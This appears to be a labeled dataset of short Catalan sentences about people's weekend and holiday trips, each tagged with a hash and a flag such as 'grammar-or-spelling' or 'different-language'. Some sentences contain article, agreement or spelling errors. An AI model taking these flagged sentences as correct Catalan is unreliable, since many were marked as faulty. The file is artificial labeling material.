9a626a33967496b02560b82dfc99c4edb08b1ea9f6439a0161c6bc3d429444d8 ca different-language El vint-i-nou de febrer na Damià i na Dolça aniran a Ses Salines. 998c346e17983e4bf1739cbc049d269c0a039ad6fe07db0451bcec850b1b0c01 ca grammar-or-spelling El vint-i-nou de febrer na Damià i na Dolça aniran a Ses Salines. 998c346e17983e4bf1739cbc049d269c0a039ad6fe07db0451bcec850b1b0c01 ca different-language Demà na Mariona va a les Alcubles. 9a70107505061d7d30136314b6d9584355ba82272695a4e3e29277f458a061df ca grammar-or-spelling Demà na Mariona va a les Alcubles. 9a70107505061d7d30136314b6d9584355ba82272695a4e3e29277f458a061df ca different-language Per Sant Jordi en Maria vol anar a visitar mon oncle. 9a756ac2f9061ddf354e3754ba605360410d41902f29cd65f58295cbfe01bd72 ca grammar-or-spelling Demà passat en Sol i na Sibil·la iran a Campllong. 9a3619f852ec519661d18333fffd95f3b2566c539b6ccaf57f12371d9f3582d0 ca grammar-or-spelling Demà passat en Sol i na Sibil·la iran a Campllong. 9a3619f852ec519661d18333fffd95f3b2566c539b6ccaf57f12371d9f3582d0 ca different-language Dilluns na Mar i na Rita van al Ràfol de Salem. 9974759c7cef3287eed2c2a35ff9493a7795204282404132ef8fa7c4a9de6b78 ca grammar-or-spelling Dilluns na Mar i na Rita van al Ràfol de Salem. 9974759c7cef3287eed2c2a35ff9493a7795204282404132ef8fa7c4a9de6b78 ca different-language El vint-i-tres de maig na Thaís i en Marcel van a Palanques. 9ae561470410144673d88db6f070b4bf8355cf6501ec9ca98e7b01fa08bfa814 ca grammar-or-spelling El vint-i-tres de maig na Thaís i en Marcel van a Palanques. 9ae561470410144673d88db6f070b4bf8355cf6501ec9ca98e7b01fa08bfa814 ca different-language Dijous na Paula anirà al metge. 99cf441329f9dd17974d4039a23609cd357a9de7b9056afc4a7aa2c5795d3913 ca grammar-or-spelling Dijous na Paula anirà al metge. 99cf441329f9dd17974d4039a23609cd357a9de7b9056afc4a7aa2c5795d3913 ca different-language Divendres na Marta vol anar a Prats i Sansor. 9ae8938cd4ad8a0ac92c44ccf8f3f0c12b619c755ba463a8a05821a7d9f277c4 ca grammar-or-spelling Divendres na Marta vol anar a Prats i Sansor. 9ae8938cd4ad8a0ac92c44ccf8f3f0c12b619c755ba463a8a05821a7d9f277c4 ca different-language Dissabte en Nico irà a la biblioteca. 99e6b1674609147a1d8e2ce984c8e2efb030f5acae86eac168294e5adeb1ca8f ca grammar-or-spelling Dissabte en Nico irà a la biblioteca. 99e6b1674609147a1d8e2ce984c8e2efb030f5acae86eac168294e5adeb1ca8f ca different-language El deu d'agost en Peris i en Quim iran a la Pobla d'Arenós. 9a4cc8c4b1fa190787e3dbb8c436a2211ca398749dacb72b4dca17f126d216a5 ca grammar-or-spelling El deu d'agost en Peris i en Quim iran a la Pobla d'Arenós. 9a4cc8c4b1fa190787e3dbb8c436a2211ca398749dacb72b4dca17f126d216a5 ca different-language El deu d'agost na Laura irà a Isòvol. 9917ce01f38556b9d45c7ad351fdc2dfb6a78c93317d4cdb4de4cabe3024239a ca grammar-or-spelling El deu d'agost na Laura irà a Isòvol. 9917ce01f38556b9d45c7ad351fdc2dfb6a78c93317d4cdb4de4cabe3024239a ca different-language Per Sant Jordi en Martí i en Lluc iran a visitar mon oncle. 9a8257223c15e1a5c1ee033cf6399c88785d641e26aea789032de3d574c6503d ca grammar-or-spelling Per Sant Jordi en Martí i en Lluc iran a visitar mon oncle. 9a8257223c15e1a5c1ee033cf6399c88785d641e26aea789032de3d574c6503d ca different-language Demà n'Hug irà als Alamús. 9a87448444b1c56fe985a6d85d3256e33281a41631b69df6e8a126a8d9821217 ca grammar-or-spelling Demà n'Hug irà als Alamús. 9a87448444b1c56fe985a6d85d3256e33281a41631b69df6e8a126a8d9821217 ca different-language El vint-i-tres de maig na Laura va a Vallmoll. 9aa8b14f371b0cd9a4048a9655e3c455ea1d069a0401bd222d5a0c868908246e ca grammar-or-spelling El vint-i-tres de maig na Laura va a Vallmoll. 9aa8b14f371b0cd9a4048a9655e3c455ea1d069a0401bd222d5a0c868908246e ca different-language Diumenge na Lena anirà al metge. 9ae460b280ac3af527f3257cdd6aab65dc5e6d72ed7ceac8bca8221001dd3f43 ca grammar-or-spelling Diumenge na Lena anirà al metge. 9ae460b280ac3af527f3257cdd6aab65dc5e6d72ed7ceac8bca8221001dd3f43 ca different-language El deu d'agost na Frida i na Queralt volen anar d'excursió. 9a65c2c19e0e8d1659d410879287c26af72a51da832f65aad4ef229607a9c99e ca grammar-or-spelling El deu d'agost na Frida i na Queralt volen anar d'excursió. 9a65c2c19e0e8d1659d410879287c26af72a51da832f65aad4ef229607a9c99e ca different-language Dimecres na Vera vol anar al teatre. 998107dbb321fe00d5bdd2394e754f117f70734aca246cb8d777501fdd4c16ba ca grammar-or-spelling Dimecres na Vera vol anar al teatre. 998107dbb321fe00d5bdd2394e754f117f70734aca246cb8d777501fdd4c16ba ca different-language Dilluns en Lluc i na Carla iran a Llorac. 9a932ba159ecfbab9dc965bf28a96f0d221717f6a5e296f7c2146689011d8da0 ca grammar-or-spelling Dilluns en Lluc i na Carla iran a Llorac. 9a932ba159ecfbab9dc965bf28a96f0d221717f6a5e296f7c2146689011d8da0 ca different-language El deu d'agost na Dolça i en Rauric volen anar d'excursió. 9b0c66f791e32e6b6a051d5a159eec57ba66de2ed68f79a2974fa7a482ac6ffc ca grammar-or-spelling El deu d'agost na Dolça i en Rauric volen anar d'excursió. 9b0c66f791e32e6b6a051d5a159eec57ba66de2ed68f79a2974fa7a482ac6ffc ca different-language Demà en Biel i en Gil iran al metge. 9a9415bf27a4bf5ac9d56a7e83bd3dbd7ce1070151dd6e61bba2fefe41cde7b7 ca grammar-or-spelling Demà en Biel i en Gil iran al metge. 9a9415bf27a4bf5ac9d56a7e83bd3dbd7ce1070151dd6e61bba2fefe41cde7b7 ca different-language Dissabte en Sol i na Lara aniran al metge. 9a5d291bc4c5245abf5eb750b5b61a163eb39a0d19a16e23c31b2f6fd9dd9752 ca grammar-or-spelling Dissabte en Sol i na Lara aniran al metge. 9a5d291bc4c5245abf5eb750b5b61a163eb39a0d19a16e23c31b2f6fd9dd9752 ca different-language Per Sant Jordi na Mireia va a Albuixec. 9b052e69dc5f4fd3d3325ddcc02d9ebaac1ca4bf72165cc146962bca9af5f5db ca grammar-or-spelling Per Sant Jordi na Mireia va a Albuixec. 9b052e69dc5f4fd3d3325ddcc02d9ebaac1ca4bf72165cc146962bca9af5f5db ca different-language Per Sant Jordi en Juli i na Txell van a Pedralba. 9b0a19ae5233334c7e2a0c742ca41a71f0991ffe301ae11ab87384c863265641 ca grammar-or-spelling Per Sant Jordi en Juli i na Txell van a Pedralba. 9b0a19ae5233334c7e2a0c742ca41a71f0991ffe301ae11ab87384c863265641 ca different-language El deu d'agost en Guifré va a Tiurana. 99d0e36c516d64a30843f553c08ac585edd7b1c6052468e9fbb56afdd8787e0e ca grammar-or-spelling El deu d'agost en Guifré va a Tiurana. 99d0e36c516d64a30843f553c08ac585edd7b1c6052468e9fbb56afdd8787e0e ca different-language El nou d'octubre na Mariona irà a Collbató. 9ad8b78d778f6d9dc6184970621cc0680db2ae2bbe7d0b26ffb92b91c0128049 ca grammar-or-spelling El nou d'octubre na Mariona irà a Collbató. 9ad8b78d778f6d9dc6184970621cc0680db2ae2bbe7d0b26ffb92b91c0128049 ca different-language El vint-i-nou de febrer na Neus i na Laia volen anar a Santa Maria de Palautordera. 995911c262ba477dd013a744001e9fc56eb16b4422cee461c84e32824a243f86 ca grammar-or-spelling El vint-i-nou de febrer na Neus i na Laia volen anar a Santa Maria de Palautordera. 995911c262ba477dd013a744001e9fc56eb16b4422cee461c84e32824a243f86 ca different-language Demà en Gil i na Dolça aniran a la Vall d'Almonesir. 9aec8a33c70c9d8787a18ec7218cc1323912e3d1a72a33666fd6cffba3785b07 ca grammar-or-spelling Demà en Gil i na Dolça aniran a la Vall d'Almonesir. 9aec8a33c70c9d8787a18ec7218cc1323912e3d1a72a33666fd6cffba3785b07 ca different-language Dissabte en Quel i en Quintí iran al teatre. 9ad22a110f2ec1c811a97d5dec01e46cadef1168adb6420a19ba82ef52715f50 ca grammar-or-spelling Dissabte en Quel i en Quintí iran al teatre. 9ad22a110f2ec1c811a97d5dec01e46cadef1168adb6420a19ba82ef52715f50 ca different-language Demà passat na Nura i na Mariona iran a Peramola. 9a6c74cb621a28fc633ce853d00e63f60060293b3f3eb1243f77c4bc71e80849 ca grammar-or-spelling Demà passat na Nura i na Mariona iran a Peramola. 9a6c74cb621a28fc633ce853d00e63f60060293b3f3eb1243f77c4bc71e80849 ca different-language El deu d'agost na Nit i na Fiona volen anar al teatre. 9a5561c394be5547e637393a7b6a3fdee3a4dde69c000f30245e53b148f314df ca grammar-or-spelling El deu d'agost na Nit i na Fiona volen anar al teatre. 9a5561c394be5547e637393a7b6a3fdee3a4dde69c000f30245e53b148f314df ca different-language Per Sant Jordi en Nico i na Xènia aniran a Barraques. 9ab8f6ed49be4ebcb00f79283fed22b3d5a68b943b7932601cb68b05ee13c11a ca grammar-or-spelling Per Sant Jordi en Nico i na Xènia aniran a Barraques. 9ab8f6ed49be4ebcb00f79283fed22b3d5a68b943b7932601cb68b05ee13c11a ca different-language El nou d'octubre na Joana i na Gal·la van a Carrícola. 99fe9129bf860032b95a7ad5747b738f63546100df21331b08b00dc38f1dba2f ca grammar-or-spelling El nou d'octubre na Joana i na Gal·la van a Carrícola. 99fe9129bf860032b95a7ad5747b738f63546100df21331b08b00dc38f1dba2f ca different-language Dijous en Magí i na Nura volen anar a Los Montesinos. 9afc6b8e7759a34acb68bcb7553e909a168fe0adc5c710d0b6507352828d5867 ca grammar-or-spelling Dijous en Magí i na Nura volen anar a Los Montesinos. 9afc6b8e7759a34acb68bcb7553e909a168fe0adc5c710d0b6507352828d5867 ca different-language Dissabte na Lara i na Clara voldrien anar a Benijòfar. 9ac978a094c9d6c0f4bb3a23bfa8f8ff3be95d4d0d5db6285f3ba5a8cf358f22 ca grammar-or-spelling Dissabte na Lara i na Clara voldrien anar a Benijòfar. 9ac978a094c9d6c0f4bb3a23bfa8f8ff3be95d4d0d5db6285f3ba5a8cf358f22 ca different-language Demà passat en Bernat i na Carla aniran al metge. 9b0e0bc64dff8dd4b125c149f3cb7d2db29a85be56014fe30248062f97674b7b ca grammar-or-spelling Demà passat en Bernat i na Carla aniran al metge. 9b0e0bc64dff8dd4b125c149f3cb7d2db29a85be56014fe30248062f97674b7b ca different-language Dimarts na Dolça irà al cinema. 9a6366a0d93e309c686504ad563ee2504c125fdcef8b393c414f5df5a616ff93 ca grammar-or-spelling Dimarts na Dolça irà al cinema. 9a6366a0d93e309c686504ad563ee2504c125fdcef8b393c414f5df5a616ff93 ca different-language Per Cap d'Any en Tom i en Magí iran a la platja. 9b06526aecbd772382cbee9db9644055f7b210a61663470a4c2b4c9377f056ef ca grammar-or-spelling Per Cap d'Any en Tom i en Magí iran a la platja. 9b06526aecbd772382cbee9db9644055f7b210a61663470a4c2b4c9377f056ef ca different-language Demà na Sol i na Cel iran a Aielo de Malferit. 9ab3f9d6915ddb748ef9bf9cbea42c16562f8df78527e8cf6b1efb2879879cc9 ca grammar-or-spelling Demà na Sol i na Cel iran a Aielo de Malferit. 9ab3f9d6915ddb748ef9bf9cbea42c16562f8df78527e8cf6b1efb2879879cc9 ca different-language El deu d'agost na Nàdia i en David van a Sant Fost de Campsentelles. 99e00eeacfd9dc0b3edcf550e9b0eda0ddbe156383be068f9e4c0047d2027ac1 ca grammar-or-spelling El deu d'agost na Nàdia i en David van a Sant Fost de Campsentelles. 99e00eeacfd9dc0b3edcf550e9b0eda0ddbe156383be068f9e4c0047d2027ac1 ca different-language Diumenge na Gemma vol anar al metge. 9b15081911c8d027dfae42d873b82773294c886cd58828e36b213a53c560fb02 ca grammar-or-spelling Diumenge na Gemma vol anar al metge. 9b15081911c8d027dfae42d873b82773294c886cd58828e36b213a53c560fb02 ca different-language El nou d'octubre n'Hug i en Jordi iran al teatre. 99f6ee979e49b2be6c35a33f7e1149eada3bef4099fd7dccbe9b991ada35d9b8 ca grammar-or-spelling El nou d'octubre n'Hug i en Jordi iran al teatre. 99f6ee979e49b2be6c35a33f7e1149eada3bef4099fd7dccbe9b991ada35d9b8 ca different-language Dijous na Sol i en Nil van a Altafulla. 99d7a1f20b9fbfa91732886d8ebc25969f3fc2f7d63ac8da2422d0778db49a47 ca grammar-or-spelling Dijous na Sol i en Nil van a Altafulla. 99d7a1f20b9fbfa91732886d8ebc25969f3fc2f7d63ac8da2422d0778db49a47 ca different-language El nou d'octubre en Quirze i na Martina aniran a Albaida. 9af08272563e9528a854351487894d42df5112f82a784047bf66bf5e35087bf6 ca grammar-or-spelling El nou d'octubre en Quirze i na Martina aniran a Albaida. 9af08272563e9528a854351487894d42df5112f82a784047bf66bf5e35087bf6 ca different-language Per Sant Jordi na Sança va a Rafelguaraf. 9a350c525a93b9334bb05a118303b1434e83ae4cc08652cea3c6cc2ddadcaab4 ca grammar-or-spelling Per Sant Jordi na Sança va a Rafelguaraf. 9a350c525a93b9334bb05a118303b1434e83ae4cc08652cea3c6cc2ddadcaab4 ca different-language Dissabte na Fiona va a Llanars. 9b21da3efecabf4616944833933d56ed7b86758d2f6fc8cf17fe208930c2c062 ca grammar-or-spelling Dissabte na Fiona va a Llanars. 9b21da3efecabf4616944833933d56ed7b86758d2f6fc8cf17fe208930c2c062 ca different-language El vint-i-nou de febrer na Sibil·la anirà a la platja. 99b7a27cf11b50fb0551eeddec94fa0b4708bd23f0ddd3ca6b523a05210bb0fd ca grammar-or-spelling El vint-i-nou de febrer na Sibil·la anirà a la platja. 99b7a27cf11b50fb0551eeddec94fa0b4708bd23f0ddd3ca6b523a05210bb0fd ca different-language El nou d'octubre na Fiona i en Magí iran a Benifairó de les Valls. 9ac03c4be84651ccb85e3c41ad1cda48b7fe0f248eaa72d792c84e89b6ff462c ca grammar-or-spelling El nou d'octubre na Fiona i en Magí iran a Benifairó de les Valls. 9ac03c4be84651ccb85e3c41ad1cda48b7fe0f248eaa72d792c84e89b6ff462c ca different-language El deu d'agost na Neida i en Cesc volen anar a la platja. 9a8bcd20b0cdac01b374c3cb92ac13dea757325dc7d2e53df8e04cfbd188322a ca grammar-or-spelling El deu d'agost na Neida i en Cesc volen anar a la platja. 9a8bcd20b0cdac01b374c3cb92ac13dea757325dc7d2e53df8e04cfbd188322a ca different-language Diumenge na Dàlia i na Gina aniran a Dolors. 983361ebd97f99aed63711873bb843184313b697c6c09cdbaa2183ecd48bd2e2 ca grammar-or-spelling Diumenge na Dàlia i na Gina aniran a Dolors. 983361ebd97f99aed63711873bb843184313b697c6c09cdbaa2183ecd48bd2e2 ca different-language Dilluns na Zoè i en Mateu iran a Godall. 9b05fde50fa80b3bd4f439a6f579c54653a55fa7da1935f691430023e3428e1a ca grammar-or-spelling Dilluns na Zoè i en Mateu iran a Godall. 9b05fde50fa80b3bd4f439a6f579c54653a55fa7da1935f691430023e3428e1a ca different-language El nou d'octubre na Sol i en Roger volen anar al cinema. 9adc99b0034c5a1854ce60ecd294eda02ad51fb296928b873be4c7f64fd058b2 ca grammar-or-spelling El nou d'octubre na Sol i en Roger volen anar al cinema. 9adc99b0034c5a1854ce60ecd294eda02ad51fb296928b873be4c7f64fd058b2 ca different-language Per Sant Jordi en Guerau i na Blanca iran a Savallà del Comtat. 9940e411913481ea2bba6e40401d635f1463bf59ac0bdf70b883a3e7e2e64b4d ca grammar-or-spelling Per Sant Jordi en Guerau i na Blanca iran a Savallà del Comtat. 9940e411913481ea2bba6e40401d635f1463bf59ac0bdf70b883a3e7e2e64b4d ca different-language Divendres na Frida i en Rauric iran d'excursió. 9b0bd06ab1b266f73527e91e24b363f96a93cc2ac8cd136e4f63de12b6213fc5 ca grammar-or-spelling Divendres na Frida i en Rauric iran d'excursió. 9b0bd06ab1b266f73527e91e24b363f96a93cc2ac8cd136e4f63de12b6213fc5 ca different-language El nou d'octubre na Sira i na Laia aniran a Santa Magdalena de Polpís. 9a4d24bb7d2d577a32812e88d8d1685d3be16b39e001addd23a7e1b331a6d00b ca grammar-or-spelling El nou d'octubre na Sira i na Laia aniran a Santa Magdalena de Polpís. 9a4d24bb7d2d577a32812e88d8d1685d3be16b39e001addd23a7e1b331a6d00b ca different-language El vint-i-nou de febrer na Júlia vol anar a Torrebesses. 9aed597923d8d046a4f14da86d9819941acba6cbf1fdfebb3bdd2512f9e491df ca grammar-or-spelling El vint-i-nou de febrer na Júlia vol anar a Torrebesses. 9aed597923d8d046a4f14da86d9819941acba6cbf1fdfebb3bdd2512f9e491df ca different-language El nou d'octubre na Sança i na Rita voldrien anar a Culla. 99c338a23dad0de7504540e96e268e9fe3748e2ba0115b4fee2a144f9212746e ca grammar-or-spelling El nou d'octubre na Sança i na Rita voldrien anar a Culla. 99c338a23dad0de7504540e96e268e9fe3748e2ba0115b4fee2a144f9212746e ca different-language Dissabte en Quel i en Sol volen anar d'excursió. 998941c5691cbab73d383339016810f2413f271bc23e16a2f26aaab4b58b2764 ca grammar-or-spelling Dissabte en Quel i en Sol volen anar d'excursió. 998941c5691cbab73d383339016810f2413f271bc23e16a2f26aaab4b58b2764 ca different-language Per Cap d'Any na Nit anirà a la biblioteca. 9b126d6dc19efc38afff67ed9c0f298c011fcde0447da387827947a96987ca42 ca grammar-or-spelling Per Cap d'Any na Nit anirà a la biblioteca. 9b126d6dc19efc38afff67ed9c0f298c011fcde0447da387827947a96987ca42 ca different-language El vint-i-nou de febrer na Bet i na Ramona volen anar a la platja. 9af3c6af889e70891272f41b944e01ceb49d6bdb7c9877f7563afe1020a3ad30 ca grammar-or-spelling El vint-i-nou de febrer na Bet i na Ramona volen anar a la platja. 9af3c6af889e70891272f41b944e01ceb49d6bdb7c9877f7563afe1020a3ad30 ca different-language Demà passat na Neus i n'Eulàlia aniran a Garrigoles. 9948a3acc1ce2e821835e4b5cf5ecd246c9d4de1e6495c80ff2e3830e4c00635 ca grammar-or-spelling Demà passat na Neus i n'Eulàlia aniran a Garrigoles. 9948a3acc1ce2e821835e4b5cf5ecd246c9d4de1e6495c80ff2e3830e4c00635 ca different-language El deu d'agost na Clàudia i na Sança aniran a Fortaleny. 9af564fdd80629f16b0e10884cd294f8bd68507aafc99bc92df5a6cd4448ce37 ca grammar-or-spelling El deu d'agost na Clàudia i na Sança aniran a Fortaleny. 9af564fdd80629f16b0e10884cd294f8bd68507aafc99bc92df5a6cd4448ce37 ca different-language Demà en Mirt i na Clàudia iran a Sant Llorenç Savall. 9b0eb46ccb2db1f4378f1c0fc5c29c44786fefcddcea2ca7226eb14cc5bd0d5a ca grammar-or-spelling Demà en Mirt i na Clàudia iran a Sant Llorenç Savall. 9b0eb46ccb2db1f4378f1c0fc5c29c44786fefcddcea2ca7226eb14cc5bd0d5a ca different-language Divendres na Gina i na Laura iran a Sant Andreu Salou. 99b5bba72f20b37bc2a856a1cff65feee02293f400cb45ea8f3020e3d5756994 ca grammar-or-spelling Divendres na Gina i na Laura iran a Sant Andreu Salou. 99b5bba72f20b37bc2a856a1cff65feee02293f400cb45ea8f3020e3d5756994 ca different-language Diumenge na Farners i na Gal·la iran al metge. 99a2bb2ed9ac493725be544848406f344b478318c3be590b1ece79e6603c22eb ca grammar-or-spelling Diumenge na Farners i na Gal·la iran al metge. 99a2bb2ed9ac493725be544848406f344b478318c3be590b1ece79e6603c22eb ca different-language Demà en Roc i na Thaís van al Vendrell. 99c73cdafc06dd08dd055370cb9fb5a1e72c2149f92a23ebc0a3f71c4d93d686 ca grammar-or-spelling Demà en Roc i na Thaís van al Vendrell. 99c73cdafc06dd08dd055370cb9fb5a1e72c2149f92a23ebc0a3f71c4d93d686 ca different-language Dilluns en Rauric anirà a la biblioteca. 9b18d493c86f993c10993916532f3aba16f59f81b1dbc255d6b12ebfacb80ea9 ca grammar-or-spelling Dilluns en Rauric anirà a la biblioteca. 9b18d493c86f993c10993916532f3aba16f59f81b1dbc255d6b12ebfacb80ea9 ca different-language El vint-i-tres de maig en Llop i en Sam iran a visitar mon oncle. 9adf31d7c482b5b1a18b65f57f3e97b3b8841dc7a4ad6d03e10b23e667f25a7e ca grammar-or-spelling El vint-i-tres de maig en Llop i en Sam iran a visitar mon oncle. 9adf31d7c482b5b1a18b65f57f3e97b3b8841dc7a4ad6d03e10b23e667f25a7e ca different-language Diumenge na Joana anirà al metge. 9acdfa2ef4ee6813df37bc689c3e06b65b375b7a35e61372b9357875d1cfe1dd ca grammar-or-spelling Diumenge na Joana anirà al metge. 9acdfa2ef4ee6813df37bc689c3e06b65b375b7a35e61372b9357875d1cfe1dd ca different-language El nou d'octubre na Martina vol anar a Onil. 9b2e464fd38021df7152bbfa7408b9608150c9be12dc0ac9f1f85fbc5fd52261 ca grammar-or-spelling El nou d'octubre na Martina vol anar a Onil. 9b2e464fd38021df7152bbfa7408b9608150c9be12dc0ac9f1f85fbc5fd52261 ca different-language Dimarts na Blanca anirà a Palau-solità i Plegamans. 999b8af53abe443f27dc9f4d0a7936ba3c015f45e00b003e3bb43275c1bd487c ca grammar-or-spelling Dimarts na Blanca anirà a Palau-solità i Plegamans. 999b8af53abe443f27dc9f4d0a7936ba3c015f45e00b003e3bb43275c1bd487c ca different-language El nou d'octubre en Biel i na Gina volen anar al teatre. 9b46d58a243608a19fa23c582c180ebae7eb6ca2ad621283039e76fede0b953e ca grammar-or-spelling El nou d'octubre en Biel i na Gina volen anar al teatre. 9b46d58a243608a19fa23c582c180ebae7eb6ca2ad621283039e76fede0b953e ca different-language Demà na Núria anirà al cinema. 9a894b036b3edc9bda1417c3fa7048515720ef4764b5614d1c52b850bd4e9423 ca grammar-or-spelling Demà na Núria anirà al cinema. 9a894b036b3edc9bda1417c3fa7048515720ef4764b5614d1c52b850bd4e9423 ca different-language Diumenge na Bruna i na Clàudia van a Ivars de Noguera. 9b1bb9d67eb1fbf3955a4b7bab47050223ab53608e76a84beb13496139e6abab ca grammar-or-spelling Diumenge na Bruna i na Clàudia van a Ivars de Noguera. 9b1bb9d67eb1fbf3955a4b7bab47050223ab53608e76a84beb13496139e6abab ca different-language Divendres en Guiu irà a la Febró. 9b0edc98fb901618008756163f48da8e4d52d41dc57b82f47308b403e49313ee ca grammar-or-spelling Divendres en Guiu irà a la Febró. 9b0edc98fb901618008756163f48da8e4d52d41dc57b82f47308b403e49313ee ca different-language Demà passat na Dolça i na Neida iran a visitar mon oncle. 9b2a75450bde3715a7ff0c1bb6a94fb9bfed304dabd8bb3704e320e8156b7c86 ca grammar-or-spelling Demà passat na Dolça i na Neida iran a visitar mon oncle. 9b2a75450bde3715a7ff0c1bb6a94fb9bfed304dabd8bb3704e320e8156b7c86 ca different-language Demà passat na Neida anirà a visitar mon oncle. 9b2d035b4c0ef7e83fe63dc3387cbef58c1cfefd1d0e19fc35be20194e8a5329 ca grammar-or-spelling Demà passat na Neida anirà a visitar mon oncle. 9b2d035b4c0ef7e83fe63dc3387cbef58c1cfefd1d0e19fc35be20194e8a5329 ca different-language Per Sant Jordi na Marta i en Jan voldrien anar a Riudaura. 9a269964b54f5fd3e14b463c2519f5deb60121893e3f08f16aa8105d47a1f5af ca grammar-or-spelling Per Sant Jordi na Marta i en Jan voldrien anar a Riudaura. 9a269964b54f5fd3e14b463c2519f5deb60121893e3f08f16aa8105d47a1f5af ca different-language El vint-i-tres de maig na Neida i en Cesc aniran a la biblioteca. 9b2373dc568c36dc0a80e20b272914d53b0308d8c9e4bef28bd92e6c9c5f2fff ca grammar-or-spelling El vint-i-tres de maig na Neida i en Cesc aniran a la biblioteca. 9b2373dc568c36dc0a80e20b272914d53b0308d8c9e4bef28bd92e6c9c5f2fff ca different-language Per Sant Jordi na Lis i en Pol volen anar a Montblanc. 9ad05dec90021477603b7176e9df598c861f6b7b4b1d2e26de3fefd5f8ff6fa4 ca grammar-or-spelling Per Sant Jordi na Lis i en Pol volen anar a Montblanc. 9ad05dec90021477603b7176e9df598c861f6b7b4b1d2e26de3fefd5f8ff6fa4 ca different-language Demà passat na Clàudia i en Gaël iran al teatre. 9afee038c26143a317457277cc166e59ea1e6c9c2ac45c46089e728b35bf9bdf ca grammar-or-spelling Demà passat na Clàudia i en Gaël iran al teatre. 9afee038c26143a317457277cc166e59ea1e6c9c2ac45c46089e728b35bf9bdf ca different-language Dimarts na Greta i en Quirze aniran a Xóvar. 9b322e9e9a8195e195aa585d30c67a9e3f0a5f05959838862b002847e760a323 ca grammar-or-spelling Dimarts na Greta i en Quirze aniran a Xóvar. 9b322e9e9a8195e195aa585d30c67a9e3f0a5f05959838862b002847e760a323 ca different-language Diumenge en Biel i na Gina volen anar al teatre. 9af94094a611d23ec7c776dce48bc817cd7e58c533b7f9a1e04e06758bf367a5 ca grammar-or-spelling Diumenge en Biel i na Gina volen anar al teatre. 9af94094a611d23ec7c776dce48bc817cd7e58c533b7f9a1e04e06758bf367a5 ca different-language Dijous na Neus i na Damià aniran a Figueroles de Domenyo. 9e26aec4239bba6c11b3b5125f2064d938d5021b6c7dcdaf200733227fd41a89 ca grammar-or-spelling El vint-i-tres de maig en Maria anirà al cinema. 9d106e0d7809d838f450ceca2d832750f8723f580acad51d87785966d0b8e78b ca grammar-or-spelling Dimarts na Tanit i en Ton aniran a Sant Julià de Vilatorta. 9f0f570681f5d93720d3b208219760bdf9f14035bb505f000d81d3f331389557 ca grammar-or-spelling El vint-i-nou de febrer na Fiona irà a Ontinyent. 9ef62472f0cea7dd72a4b5b9a2084921165e51bcee7732a88ece3b81cf61f1de ca grammar-or-spelling El vint-i-tres de maig na Mar irà a Vallfogona de Balaguer. 9e2a817bed7558238437481cd8a2075e4bb9debcb2f434cdc3ebc954f5b9bdd2 ca grammar-or-spelling Per Sant Jordi na Frida i na Txell iran al cinema. 9ea291cc3bbd0de467daf1ca7bee78a8bf7153e3e22748d8f1d55121082b1f81 ca grammar-or-spelling El vint-i-tres de maig n'Oriol irà al metge. 9ef6210672286e2d121a847243d367bb6940764304d714045d4e665a3896ed4b ca grammar-or-spelling O més aviat, ¿parlaran també del projecte literari? a1694d55fc929b7598fed9be8943bfd7abd5e5bd172792c0a8d30db0e3357599 ca grammar-or-spelling El vint-i-tres de maig n'Eulàlia i en Rauric iran a Alcarràs. a2746748fbdca9e4c044c9b1c2f39f0458a2f774d53c33d3918abec2598f5e46 ca grammar-or-spelling Per Sant Jordi en Genís i en Grau iran a Riudellots de la Selva. a2a90a88cfadc883aa11422278b2aff907dd0a8eb3d72c45a24126a1179ee01a ca grammar-or-spelling El vint-i-nou de febrer en Drac irà a Cabrera de Mar. a25c3e2a415f6f16580799f5062085c4efeb45da51aa2c638c2e73ff7f2793b5 ca grammar-or-spelling Demà passat na Laia irà a Sant Climent Sescebes. a153660c7b1c845ce62d6831634fe9d0e4cae9becfa6c962d8ad419839216130 ca grammar-or-spelling Per Sant Jordi na Laia i na Rita iran a Miramar. a1eb095e8af37bd0a4961323b5188fe59159f4bfb43e6ab7d727f80d89729875 ca grammar-or-spelling El nou d'octubre na Mira i en David aniré al cinema. a452046b2d7612a6cc0811d7b596c24c15608946cc522412fe7acb0169502935 ca grammar-or-spelling El vint-i-tres de maig na Clara i na Mireia iran a Pavies. a744e6dfb5480ebf2cca02ccfc9843927fa09e561ed7b254c362fbad682a8252 ca grammar-or-spelling El vint-i-nou de febrer en Genís i na Joana iran a visitar mon oncle. a725820d1b2e8f41c57a32fb951fd1e1e83d6b7ec1a93abd5c71a71a8fcecc24 ca grammar-or-spelling El vint-i-nou de febrer na Cloè irà d'excursió. a76fe2186dcde3e94a3a0671002401bdb9a8066df7eb6ee665f94dee29e5b9dc ca grammar-or-spelling Demà passat na Ramona i en Pep voldria anar a Hostalric. a8465da0b145ae9349a980ca6aafcceaf550bc5cad335553a23009425c2c1071 ca grammar-or-spelling El nou d'octubre na Damià i na Mireia iran a Vilanova de Prades. a8afc6bd310acada95732bd65a17343143ed7c61c65066c38253a2fbd386df4d ca grammar-or-spelling El vint-i-tres de maig na Neus i na Damià aniran a la Torre de l'Espanyol. a914714f13c9b165222815ec80a7345a3fd103d45d37bd636018c7235a2d2667 ca grammar-or-spelling Demà passat na Ramona i en Pep voldria anar a Hostalric. a8465da0b145ae9349a980ca6aafcceaf550bc5cad335553a23009425c2c1071 ca grammar-or-spelling El deu d'agost en Pep i en Damià iran a Balsareny. abd8a221c317304065c27e4524dab73a63d9aef811a2ba8d430a3eacf1d66601 ca grammar-or-spelling El vint-i-nou de febrer en Nel i en Biel iran a Algerri. ac4731ddf2af357d5cb035fdd91b6a91b63240f5a15c279acd5f42617826bc3c ca grammar-or-spelling El vint-i-tres de maig na Cèlia i na Vera iran al cinema. ac41d9bcb72f62fae99af98cce976b19cfc1f938e3b6d8b55f4e485044453da8 ca grammar-or-spelling El vint-i-tres de maig en Llop i en Sam iran al cinema. ac5085172df0f8d6ba6219d495b5c88e36bbb47704a3853316788e32c9b786be ca grammar-or-spelling El vint-i-tres de maig en Maria i en Biel aniran a Sant Jaume de Llierca. afd01e4b2989c6a52bde69dba25b50e5156886cfcf40df32c99bdd615d279902 ca grammar-or-spelling Demà en Maria i en Jan volen anar a Onil. b4fa812c001be629801cb9278b1eec8135bb1333b3ff3e3efedf375e3ff509ee ca grammar-or-spelling Demà passat en Maria vol anar a la Torre d'en Doménec. b50a78f1ab0f774711a2b8ba0840d096107fd103aa96317d7f946a6e8c879ec4 ca grammar-or-spelling El vint-i-nou de febrer en Damià i en Pol iran a visitar mon oncle. b741d562153f99d8baf277762a965f5c97d4ed8af7d7754b6b98312567663af2 ca grammar-or-spelling Demà passat na Mireia i en Tom iran al teatre. 